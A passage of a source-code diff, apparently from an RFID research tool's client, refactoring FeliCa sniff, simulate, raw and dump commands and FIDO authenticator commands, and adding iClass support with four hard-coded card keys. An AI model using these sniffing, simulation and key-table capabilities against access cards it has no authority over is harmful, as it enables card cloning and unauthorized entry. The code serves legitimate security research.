PrintAndLogEx(ERR, "Invalid triggers number!"); + return PM3_EINVARG; + } + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, paramCount)); + return usage_hf_felica_sniff(); + } + i += 2; } + i++; } - //Validations - if (errors || cmdp == 0) return usage_hf_felica_sniff(); + if (samples2skip == 0) { + samples2skip = 10; + PrintAndLogEx(INFO, "Set default samples2skip: %" PRIu64, samples2skip); + } + + if (triggers2skip == 0) { + triggers2skip = 5000; + PrintAndLogEx(INFO, "Set default triggers2skip: %" PRIu64, triggers2skip); + } + + PrintAndLogEx(INFO, "Start Sniffing now. You can stop sniffing with clicking the PM3 Button"); + PrintAndLogEx(INFO, "During sniffing, other pm3 commands may not response."); clearCommandBuffer(); - SendCommandMIX(CMD_FELICA_SNIFF, samples2skip, triggers2skip, 0, NULL, 0); - return 0; + SendCommandMIX(CMD_HF_FELICA_SNIFF, samples2skip, triggers2skip, 0, NULL, 0); + return PM3_SUCCESS; } // uid hex static int CmdHFFelicaSimLite(const char *Cmd) { - uint64_t uid = param_get64ex(Cmd, 0, 0, 16); if (!uid) return usage_hf_felica_simlite(); clearCommandBuffer(); - SendCommandMIX(CMD_FELICA_LITE_SIM, uid, 0, 0, NULL, 0); - return 0; + SendCommandMIX(CMD_HF_FELICALITE_SIMULATE, uid, 0, 0, NULL, 0); + return PM3_SUCCESS; } static void printSep() { - PrintAndLogEx(NORMAL, "------------------------------------------------------------------------------------"); + PrintAndLogEx(INFO, "------------------------------------------------------------------------------------"); } static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t tracelen) { @@ -332,7 +1606,7 @@ static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t trac PrintAndLogEx(NORMAL, "Authenticated: %s", trace[3] ? "yes" : "no"); break; case 0xa0: - PrintAndLogEx(NORMAL, "CRC of all bloacks match : %s", (trace[3 + 2] == 0xff) ? "no" : "yes"); + PrintAndLogEx(NORMAL, "CRC of all blocks match : %s", (trace[3 + 2] == 0xff) ? "no" : "yes"); break; default: PrintAndLogEx(WARNING, "INVALID %d: %s", blocknum, line); @@ -349,7 +1623,7 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { PrintAndLogEx(SUCCESS, "FeliCa lite - dump started"); PrintAndLogEx(SUCCESS, "press pm3-button to cancel"); clearCommandBuffer(); - SendCommandNG(CMD_FELICA_LITE_DUMP, NULL, 0); + SendCommandNG(CMD_HF_FELICALITE_DUMP, NULL, 0); PacketResponseNG resp; uint8_t timeout = 0; @@ -357,41 +1631,41 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { timeout++; printf("."); fflush(stdout); - if (ukbhit()) { - int gc = getchar(); - (void)gc; + if (kbd_enter_pressed()) { PrintAndLogEx(WARNING, "\n[!] aborted via keyboard!\n"); DropField(); - return 1; + return PM3_EOPABORTED; } if (timeout > 100) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); DropField(); - return 1; + return PM3_ETIMEOUT; } } if (resp.oldarg[0] == 0) { PrintAndLogEx(WARNING, "\nButton pressed. Aborted."); - return 1; + return PM3_EOPABORTED; } - uint64_t tracelen = resp.oldarg[1]; - if (tracelen == 0) - return 1; + uint32_t tracelen = resp.oldarg[1]; + if (tracelen == 0) { + PrintAndLogEx(WARNING, "\nNo trace data! Maybe not a FeliCa Lite card?"); + return PM3_ESOFT; + } uint8_t *trace = calloc(tracelen, sizeof(uint8_t)); if (trace == NULL) { PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); - return 1; + return PM3_EMALLOC; } - if (!GetFromDevice(BIG_BUF, trace, tracelen, 0, NULL, 2500, false)) { + if (!GetFromDevice(BIG_BUF, trace, tracelen, 0, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(trace); - return 0; + return PM3_ETIMEOUT; } - PrintAndLogEx(SUCCESS, "Recorded Activity (trace len = %d bytes)", tracelen); + PrintAndLogEx(SUCCESS, "Recorded Activity (trace len = %"PRIu32" bytes)", tracelen); print_hex_break(trace, tracelen, 32); printSep(); @@ -403,21 +1677,7 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { printSep(); free(trace); - return 0; -} - -static void waitCmdFelica(uint8_t iSelect) { - PacketResponseNG resp; - - if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - uint16_t len = iSelect ? (resp.oldarg[1] & 0xffff) : (resp.oldarg[0] & 0xffff); - PrintAndLogEx(NORMAL, "received %i octets", len); - if (!len) - return; - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, len)); - } else { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - } + return PM3_SUCCESS; } static int CmdHFFelicaCmdRaw(const char *Cmd) { @@ -441,8 +1701,7 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { while (Cmd[i] != '\0') { if (Cmd[i] == ' ' || Cmd[i] == '\t') { i++; continue; } if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_raw(); case 'r': @@ -484,23 +1743,21 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { sscanf(buf, "%x", &temp); data[datalen] = (uint8_t)(temp & 0xff); *buf = 0; - if (++datalen >= sizeof(data)) { + if (++datalen >= (sizeof(data) - 2)) { if (crc) - PrintAndLogEx(NORMAL, "Buffer is full, we can't add CRC to your data"); + PrintAndLogEx(WARNING, "Buffer is full, we can't add CRC to your data"); break; } } continue; } PrintAndLogEx(WARNING, "Invalid char on input"); - return 0; + return PM3_EINVARG; } - if (crc && datalen > 0 && datalen < sizeof(data) - 2) { - uint8_t b1, b2; - compute_crc(CRC_FELICA, data, datalen, &b1, &b2); - data[datalen++] = b1; - data[datalen++] = b2; + if (crc) { + AddCrc(data, datalen); + datalen += 2; } uint8_t flags = 0; @@ -522,50 +1779,31 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; clearCommandBuffer(); - SendCommandOLD(CMD_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); + PrintAndLogEx(SUCCESS, "Data: %s", sprint_hex(data, datalen)); + SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); if (reply) { - if (active_select) - waitCmdFelica(1); - if (datalen > 0) - waitCmdFelica(0); + if (active_select) { + PrintAndLogEx(SUCCESS, "Active select wait for FeliCa."); + PacketResponseNG resp_IDm; + waitCmdFelica(1, &resp_IDm, 1); + } + if (datalen > 0) { + PacketResponseNG resp_frame; + waitCmdFelica(0, &resp_frame, 1); + } } - return 0; -} - -static command_t CommandTable[] = { - {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"list", CmdHFFelicaList, AlwaysAvailable, "List ISO 18092/FeliCa history"}, - {"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"}, - {"sim", CmdHFFelicaSim, IfPm3Felica, " -- Simulate ISO 18092/FeliCa tag"}, - {"sniff", CmdHFFelicaSniff, IfPm3Felica, "sniff ISO 18092/Felica traffic"}, - {"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"}, - - {"litesim", CmdHFFelicaSimLite, IfPm3Felica, " - only reply to poll request"}, - {"litedump", CmdHFFelicaDumpLite, IfPm3Felica, "Wait for and try dumping FelicaLite"}, - {NULL, NULL, NULL, NULL} -}; - -static int CmdHelp(const char *Cmd) { - (void)Cmd; // Cmd is not used so far - CmdsHelp(CommandTable); - return 0; -} - -int CmdHFFelica(const char *Cmd) { - clearCommandBuffer(); - return CmdsParse(CommandTable, Cmd); + return PM3_SUCCESS; } int readFelicaUid(bool verbose) { clearCommandBuffer(); - SendCommandMIX(CMD_FELICA_COMMAND, FELICA_CONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_FELICA_COMMAND, FELICA_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { if (verbose) PrintAndLogEx(WARNING, "FeliCa card select failed"); - //SendCommandMIX(CMD_FELICA_COMMAND, 0, 0, 0, NULL, 0); - return 0; + return PM3_ESOFT; } felica_card_select_t card; @@ -576,32 +1814,80 @@ int readFelicaUid(bool verbose) { case 1: { if (verbose) PrintAndLogEx(WARNING, "card timeout"); - break; + return PM3_ETIMEOUT; } case 2: { if (verbose) PrintAndLogEx(WARNING, "card answered wrong"); - break; + return PM3_ESOFT; } case 3: { if (verbose) PrintAndLogEx(WARNING, "CRC check failed"); - break; + return PM3_ESOFT; } case 0: { + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "FeliCa tag info"); - PrintAndLogEx(NORMAL, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); - PrintAndLogEx(NORMAL, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); - PrintAndLogEx(NORMAL, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); + PrintAndLogEx(SUCCESS, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); + PrintAndLogEx(SUCCESS, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); + PrintAndLogEx(SUCCESS, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); - PrintAndLogEx(NORMAL, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); - PrintAndLogEx(NORMAL, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); - PrintAndLogEx(NORMAL, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); + PrintAndLogEx(SUCCESS, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); + PrintAndLogEx(SUCCESS, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); + PrintAndLogEx(SUCCESS, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); - PrintAndLogEx(NORMAL, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); + PrintAndLogEx(SUCCESS, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); + set_last_known_card(card); break; } } - return status; + return PM3_SUCCESS; +} + +static command_t CommandTable[] = { + {"----------- General -----------", CmdHelp, IfPm3Iso14443a, ""}, + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"list", CmdHFFelicaList, AlwaysAvailable, "List ISO 18092/FeliCa history"}, + {"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"}, + {"sniff", CmdHFFelicaSniff, IfPm3Felica, "Sniff ISO 18092/FeliCa traffic"}, + {"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"}, + {"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."}, + {"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."}, + {"----------- FeliCa Standard -----------", CmdHelp, IfPm3Iso14443a, ""}, + //{"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, + {"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."}, + {"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."}, + {"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."}, + {"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."}, + {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1"}, + {"auth2", CmdHFFelicaAuthentication2, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Complete mutual authentication"}, + //{"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, + //{"write", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to an authentication-required Service."}, + //{"scsvcodev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "verify the existence of Area or Service, and to acquire Key Version."}, + //{"getsysstatus", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire the setup information in System."}, + {"rqspecver", CmdHFFelicaRequestSpecificationVersion, IfPm3Felica, "acquire the version of card OS."}, + {"resetmode", CmdHFFelicaResetMode, IfPm3Felica, "reset Mode to Mode 0."}, + //{"auth1v2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "authenticate a card."}, + //{"auth2v2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "allow a card to authenticate a Reader/Writer."}, + //{"readv2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, + //{"writev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to authentication-required Service."}, + //{"uprandomid", CmdHFFelicaNotImplementedYet, IfPm3Felica, "update Random ID (IDr)."}, + {"----------- FeliCa Light -----------", CmdHelp, IfPm3Iso14443a, ""}, + {"litesim", CmdHFFelicaSimLite, IfPm3Felica, " - only reply to poll request"}, + {"litedump", CmdHFFelicaDumpLite, IfPm3Felica, "Wait for and try dumping FelicaLite"}, + // {"sim", CmdHFFelicaSim, IfPm3Felica, " -- Simulate ISO 18092/FeliCa tag"} + {NULL, NULL, NULL, NULL} +}; + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} + +int CmdHFFelica(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); } diff --git a/client/cmdhffelica.h b/client/cmdhffelica.h index b495b80ec..8d8156006 100644 --- a/client/cmdhffelica.h +++ b/client/cmdhffelica.h @@ -11,21 +11,12 @@ #ifndef CMDHFFELICA_H__ #define CMDHFFELICA_H__ -#include -#include -#include -#include -#include -#include "proxmark3.h" #include "common.h" -#include "ui.h" -#include "util.h" -#include "cmdparser.h" -#include "comms.h" // getfromdevice -#include "cmdhf.h" // list cmd -#include "mifare.h" // felica_card_select_t struct +#include "mifare.h" int CmdHFFelica(const char *Cmd); - int readFelicaUid(bool verbose); +int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); +int send_rd_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp); + #endif diff --git a/client/cmdhffido.c b/client/cmdhffido.c index 39b080dca..a0a8793c0 100644 --- a/client/cmdhffido.c +++ b/client/cmdhffido.c @@ -21,41 +21,33 @@ #include "cmdhffido.h" -#include -#include -#include -#include -#include #include -#include -#include -#include -#include + +#include "cmdparser.h" // command_t +#include "commonutil.h" + #include "comms.h" -#include "cmdmain.h" -#include "util.h" -#include "ui.h" #include "proxmark3.h" -#include "mifare.h" #include "emv/emvcore.h" #include "emv/emvjson.h" -#include "emv/dump.h" #include "cliparser/cliparser.h" #include "crypto/asn1utils.h" #include "crypto/libpcrypto.h" #include "fido/cbortools.h" #include "fido/fidocore.h" -#include "fido/cose.h" +#include "emv/dump.h" +#include "ui.h" +#include "cmdhf14a.h" static int CmdHelp(const char *Cmd); static int CmdHFFidoInfo(const char *cmd) { if (cmd && strlen(cmd) > 0) - PrintAndLogEx(WARNING, "WARNING: command don't have any parameters.\n"); + PrintAndLogEx(WARNING, "WARNING: command doesn't have any parameters.\n"); // info about 14a part - infoHF14A(false, false); + infoHF14A(false, false, false); // FIDO info PrintAndLogEx(NORMAL, "--------------------------------------------"); @@ -83,14 +75,14 @@ static int CmdHFFidoInfo(const char *cmd) { if (!strncmp((char *)buf, "U2F_V2", 7)) { if (!strncmp((char *)buf, "FIDO_2_0", 8)) { - PrintAndLogEx(INFO, "FIDO2 authenricator detected. Version: %.*s", len, buf); + PrintAndLogEx(INFO, "FIDO2 authenticator detected. Version: %.*s", (int)len, buf); } else { - PrintAndLogEx(INFO, "FIDO authenricator detected (not standard U2F)."); + PrintAndLogEx(INFO, "FIDO authenticator detected (not standard U2F)."); PrintAndLogEx(INFO, "Non U2F authenticator version:"); dump_buffer((const unsigned char *)buf, len, NULL, 0); } } else { - PrintAndLogEx(INFO, "FIDO U2F authenricator detected. Version: %.*s", len, buf); + PrintAndLogEx(INFO, "FIDO U2F authenticator detected. Version: %.*s", (int)len, buf); } res = FIDO2GetInfo(buf, sizeof(buf), &len, &sw); @@ -99,13 +91,13 @@ static int CmdHFFidoInfo(const char *cmd) { return res; } if (sw != 0x9000) { - PrintAndLogEx(ERR, "FIDO2 version not exists (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(ERR, "FIDO2 version doesn't exist (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); return 0; } if (buf[0]) { - PrintAndLogEx(ERR, "FIDO2 ger version error: %d - %s", buf[0], fido2GetCmdErrorDescription(buf[0])); + PrintAndLogEx(ERR, "FIDO2 get version error: %d - %s", buf[0], fido2GetCmdErrorDescription(buf[0])); return 0; } @@ -171,14 +163,14 @@ static int CmdHFFidoRegister(const char *cmd) { json_t *root = NULL; CLIParserInit("hf fido reg", - "Initiate a U2F token registration. Needs two 32-byte hash number. \nchallenge parameter (32b) and application parameter (32b).", + "Initiate a U2F token registration. Needs two 32-byte hash numbers. \nchallenge parameter (32b) and application parameter (32b).", "Usage:\n\thf fido reg -> execute command with 2 parameters, filled 0x00\n" "\thf fido reg 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f -> execute command with parameters" "\thf fido reg -p s0 s1 -> execute command with plain parameters"); void *argtable[] = { arg_param_begin, - arg_lit0("aA", "apdu", "show APDU reqests and responses"), + arg_lit0("aA", "apdu", "show APDU requests and responses"), arg_litn("vV", "verbose", 0, 2, "show technical data. vv - show full certificates data"), arg_lit0("pP", "plain", "send plain ASCII to challenge and application parameters instead of HEX"), arg_lit0("tT", "tlv", "Show DER certificate contents in TLV representation"), @@ -282,7 +274,7 @@ static int CmdHFFidoRegister(const char *cmd) { PrintAndLogEx(NORMAL, ""); if (APDULogging) PrintAndLogEx(NORMAL, "---------------------------------------------------------------"); - PrintAndLogEx(NORMAL, "data len: %d", len); + PrintAndLogEx(NORMAL, "data len: %zu", len); if (verbose2) { PrintAndLogEx(NORMAL, "--------------data----------------------"); dump_buffer((const unsigned char *)buf, len, NULL, 0); @@ -324,7 +316,7 @@ static int CmdHFFidoRegister(const char *cmd) { // get hash int hashp = 1 + 65 + 1 + keyHandleLen + derLen; - PrintAndLogEx(SUCCESS, "Hash[%d]: %s", len - hashp, sprint_hex(&buf[hashp], len - hashp)); + PrintAndLogEx(SUCCESS, "Hash[%zu]: %s", len - hashp, sprint_hex(&buf[hashp], len - hashp)); // check ANSI X9.62 format ECDSA signature (on P-256) uint8_t rval[300] = {0}; @@ -346,15 +338,15 @@ static int CmdHFFidoRegister(const char *cmd) { &buf[1], 65, // user public key NULL, 0); //PrintAndLogEx(NORMAL, "--xbuf(%d)[%d]: %s", res, xbuflen, sprint_hex(xbuf, xbuflen)); - res = ecdsa_signature_verify(public_key, xbuf, xbuflen, &buf[hashp], len - hashp); + res = ecdsa_signature_verify(MBEDTLS_ECP_DP_SECP256R1, public_key, xbuf, xbuflen, &buf[hashp], len - hashp, true); if (res) { - if (res == -0x4e00) { - PrintAndLogEx(WARNING, "Signature is NOT VALID."); + if (res == MBEDTLS_ERR_ECP_VERIFY_FAILED) { + PrintAndLogEx(WARNING, "Signature is" _RED_("NOT VALID")); } else { PrintAndLogEx(WARNING, "Other signature check error: %x %s", (res < 0) ? -res : res, ecdsa_get_error(res)); } } else { - PrintAndLogEx(SUCCESS, "Signature is OK."); + PrintAndLogEx(SUCCESS, "Signature is" _GREEN_("OK")); } } else { @@ -401,7 +393,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { json_t *root = NULL; CLIParserInit("hf fido auth", - "Initiate a U2F token authentication. Needs key handle and two 32-byte hash number. \nkey handle(var 0..255), challenge parameter (32b) and application parameter (32b).", + "Initiate a U2F token authentication. Needs key handle and two 32-byte hash numbers. \nkey handle(var 0..255), challenge parameter (32b) and application parameter (32b).", "Usage:\n\thf fido auth 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f -> execute command with 2 parameters, filled 0x00 and key handle\n" "\thf fido auth 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f " "000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f -> execute command with parameters"); @@ -551,7 +543,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { PrintAndLogEx(SUCCESS, "User presence: %s", (buf[0] ? "verified" : "not verified")); uint32_t cntr = (uint32_t)bytes_to_num(&buf[1], 4); PrintAndLogEx(SUCCESS, "Counter: %d", cntr); - PrintAndLogEx(SUCCESS, "Hash[%d]: %s", len - 5, sprint_hex(&buf[5], len - 5)); + PrintAndLogEx(SUCCESS, "Hash[%zu]: %s", len - 5, sprint_hex(&buf[5], len - 5)); // check ANSI X9.62 format ECDSA signature (on P-256) uint8_t rval[300] = {0}; @@ -572,15 +564,15 @@ static int CmdHFFidoAuthenticate(const char *cmd) { data, 32, // challenge parameter NULL, 0); //PrintAndLogEx(NORMAL, "--xbuf(%d)[%d]: %s", res, xbuflen, sprint_hex(xbuf, xbuflen)); - res = ecdsa_signature_verify(public_key, xbuf, xbuflen, &buf[5], len - 5); + res = ecdsa_signature_verify(MBEDTLS_ECP_DP_SECP256R1, public_key, xbuf, xbuflen, &buf[5], len - 5, true); if (res) { - if (res == -0x4e00) { - PrintAndLogEx(WARNING, "Signature is NOT VALID."); + if (res == MBEDTLS_ERR_ECP_VERIFY_FAILED) { + PrintAndLogEx(WARNING, "Signature is" _RED_("NOT VALID.")); } else { PrintAndLogEx(WARNING, "Other signature check error: %x %s", (res < 0) ? -res : res, ecdsa_get_error(res)); } } else { - PrintAndLogEx(SUCCESS, "Signature is OK."); + PrintAndLogEx(SUCCESS, "Signature is" _GREEN_("OK")); } } else { PrintAndLogEx(WARNING, "No public key provided. can't check signature."); @@ -648,8 +640,8 @@ static int CmdHFFido2MakeCredential(const char *cmd) { char fname[300] = {0}; CLIParserInit("hf fido make", - "Execute a FIDO2 Make Credentional command. Needs json file with parameters. Sample file `fido2.json`. File can be placed in proxmark directory or in `proxmark/fido` directory.", - "Usage:\n\thf fido make -> execute command default parameters file `fido2.json`\n" + "Execute a FIDO2 Make Credential command. Needs json file with parameters. Sample file " _YELLOW_("`fido2.json`") " in `resources/`.", + "Usage:\n\thf fido make -> execute command with default parameters file `fido2.json`\n" "\thf fido make test.json -> execute command with parameters file `text.json`"); void *argtable[] = { @@ -721,7 +713,7 @@ static int CmdHFFido2MakeCredential(const char *cmd) { return res; if (showCBOR) { - PrintAndLogEx(INFO, "CBOR make credentional request:"); + PrintAndLogEx(INFO, "CBOR make credential request:"); PrintAndLogEx(NORMAL, "---------------- CBOR ------------------"); TinyCborPrintFIDOPackage(fido2CmdMakeCredential, false, data, datalen); PrintAndLogEx(NORMAL, "---------------- CBOR ------------------"); @@ -744,9 +736,9 @@ static int CmdHFFido2MakeCredential(const char *cmd) { return 0; } - PrintAndLogEx(SUCCESS, "MakeCredential result (%d b) OK.", len); + PrintAndLogEx(SUCCESS, "MakeCredential result (%zu b) OK.", len); if (showCBOR) { - PrintAndLogEx(SUCCESS, "CBOR make credentional response:"); + PrintAndLogEx(SUCCESS, "CBOR make credential response:"); PrintAndLogEx(NORMAL, "---------------- CBOR ------------------"); TinyCborPrintFIDOPackage(fido2CmdMakeCredential, true, &buf[1], len - 1); PrintAndLogEx(NORMAL, "---------------- CBOR ------------------"); @@ -774,8 +766,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) { char fname[300] = {0}; CLIParserInit("hf fido assert", - "Execute a FIDO2 Get Assertion command. Needs json file with parameters. Sample file " _YELLOW_("`fido2.json`") ". File can be placed in proxmark directory or in `proxmark/fido` directory.", - "Usage:\n\thf fido assert -> execute command default parameters file `fido2.json`\n" + "Execute a FIDO2 Get Assertion command. Needs json file with parameters. Sample file " _YELLOW_("`fido2.json`") " in `resources/`.", + "Usage:\n\thf fido assert -> execute command with default parameters file `fido2.json`\n" "\thf fido assert test.json -l -> execute command with parameters file `text.json` and add to request CredentialId"); void *argtable[] = { @@ -783,7 +775,7 @@ static int CmdHFFido2GetAssertion(const char *cmd) { arg_lit0("aA", "apdu", "show APDU reqests and responses"), arg_litn("vV", "verbose", 0, 2, "show technical data. vv - show full certificates data"), arg_lit0("cC", "cbor", "show CBOR decoded data"), - arg_lit0("lL", "list", "add CredentialId from json to allowList. Needs if `rk` option is `false` (authenticator don't store credential to its memory)"), + arg_lit0("lL", "list", "add CredentialId from json to allowList. Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)"), arg_str0(NULL, NULL, "", "JSON input / output file name for parameters. Default `fido2.json`"), arg_param_end }; @@ -809,7 +801,7 @@ static int CmdHFFido2GetAssertion(const char *cmd) { SetAPDULogging(APDULogging); - int res = GetExistsFileNameJson("fido", "fido2", fname); + int res = GetExistsFileNameJson("fido", cjsonname, fname); if (res) { PrintAndLogEx(ERR, "ERROR: Can't found the json file."); return res; @@ -870,7 +862,7 @@ static int CmdHFFido2GetAssertion(const char *cmd) { return 0; } - PrintAndLogEx(SUCCESS, "GetAssertion result (%d b) OK.", len); + PrintAndLogEx(SUCCESS, "GetAssertion result (%zu b) OK.", len); if (showCBOR) { PrintAndLogEx(SUCCESS, "CBOR get assertion response:"); PrintAndLogEx(NORMAL, "---------------- CBOR ------------------"); diff --git a/client/cmdhffido.h b/client/cmdhffido.h index b54f53118..9aca8ecc8 100644 --- a/client/cmdhffido.h +++ b/client/cmdhffido.h @@ -21,7 +21,8 @@ #ifndef CMDHFFIDO_H__ #define CMDHFFIDO_H__ +#include "common.h" + int CmdHFFido(const char *Cmd); - #endif diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index 2bdb91fa1..72a7eaad2 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -1,8 +1,8 @@ //----------------------------------------------------------------------------- -//----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh , Hagen Fritsch // Copyright (C) 2011 Gerhard de Koning Gans // Copyright (C) 2014 Midnitesnake & Andy Davies & Martin Holst Swende +// Copyright (C) 2020 Iceman // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -12,17 +12,35 @@ //----------------------------------------------------------------------------- #include "cmdhficlass.h" +#include +#include "cmdparser.h" // command_t +#include "commonutil.h" // ARRAYLEN +#include "cmdtrace.h" +#include "util_posix.h" +#include "comms.h" +#include "mbedtls/des.h" +#include "loclass/cipherutils.h" +#include "loclass/cipher.h" +#include "loclass/ikeys.h" +#include "loclass/elite_crack.h" +#include "fileutils.h" +#include "protocols.h" +#include "cardhelper.h" +#include "wiegand_formats.h" +#include "wiegand_formatutils.h" #define NUM_CSNS 9 #define ICLASS_KEYS_MAX 8 +#define ICLASS_AUTH_RETRY 10 +#define ICLASS_DECRYPTION_BIN "iclass_decryptionkey.bin" static int CmdHelp(const char *Cmd); static uint8_t iClass_Key_Table[ICLASS_KEYS_MAX][8] = { - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, - { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xAE, 0xA6, 0x84, 0xA6, 0xDA, 0xB2, 0x32, 0x78 }, + { 0x76, 0x65, 0x54, 0x43, 0x32, 0x21, 0x10, 0x00 }, + { 0x5B, 0x7C, 0x62, 0xC4, 0x91, 0xc1, 0x1b, 0x39 }, + { 0xF0, 0xE1, 0xD2, 0xC3, 0xB4, 0xA5, 0x96, 0x87 }, { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, @@ -30,55 +48,78 @@ static uint8_t iClass_Key_Table[ICLASS_KEYS_MAX][8] = { }; static int usage_hf_iclass_sim(void) { - PrintAndLogEx(NORMAL, "Usage: hf iclass sim